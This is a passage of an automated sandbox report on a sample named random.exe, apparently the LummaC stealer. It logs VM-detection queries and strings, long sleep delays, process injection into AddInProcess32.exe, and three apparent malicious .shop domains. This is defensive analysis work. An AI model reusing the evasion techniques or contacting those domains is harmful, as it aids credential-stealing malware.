Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: random.exe PID: 5948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 5772, type: MEMORYSTR

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	System information queried: FirmwareTableInformation			Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Memory allocated: 2500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 2690000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 6A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 7A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 8070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 9070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory allocated: 9360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 15C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 3140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 7030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 8620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 9620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 98F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Window / User API: threadDelayed 1461	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window / User API: threadDelayed 4338	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window / User API: threadDelayed 533	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window / User API: threadDelayed 3244	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 1061	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 5311	Jump to behavior

Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99775s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -99016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -98891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -98778s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -98662s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -98421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -98213s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97876s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97753s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97633s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -97078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -96969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -96844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -96735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -96610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6480	Thread sleep time: -96485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6608	Thread sleep time: -533000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\random.exe TID: 6608	Thread sleep time: -3244000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99187s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -99078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -98093s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -97000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -96890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -96781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5252	Thread sleep time: -96672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 2920	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5232	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 6304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 4824	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 5764	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99775	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99452	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 99016	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 98891	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 98778	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 98662	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 98421	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 98213	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97876	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97753	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97633	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97516	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97406	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97297	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97188	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 97078	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 96969	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 96844	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 96735	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Thread delayed: delay time: 96485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 99078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 97000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 96672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VMware
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmware svga
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmware
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 18292495#Microsoft Hyper-V
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 1234093728qemu
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmusrvc
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VirtualMachineDetector
Source: AddInProcess32.exe, 00000006.00000002.2923240627.0000000001039000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000007.00000002.3011098104.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000007.00000002.3011026539.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmsrvc
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmtools
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vmware sata5vmware usb pointing device-vmware vmci bus deviceCvmware virtual s scsi disk device
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: vboxservicevbox)Microsoft Virtual PC
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 1474865605QEMU
Source: random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: 77930674-vmware pointing device
Source: AddInProcess32.exe, 00000006.00000002.2923240627.000000000100C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: random.exe, 00000000.00000002.2825956472.000000000085E000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2908047616.000000000116A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: VirtualMachine

Source: C:\Users\user\Desktop\random.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_0043D910 LdrInitializeThunk,

6_2_0043D910

Source: C:\Users\user\Desktop\random.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A	Jump to behavior

LummaC encrypted strings found

Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
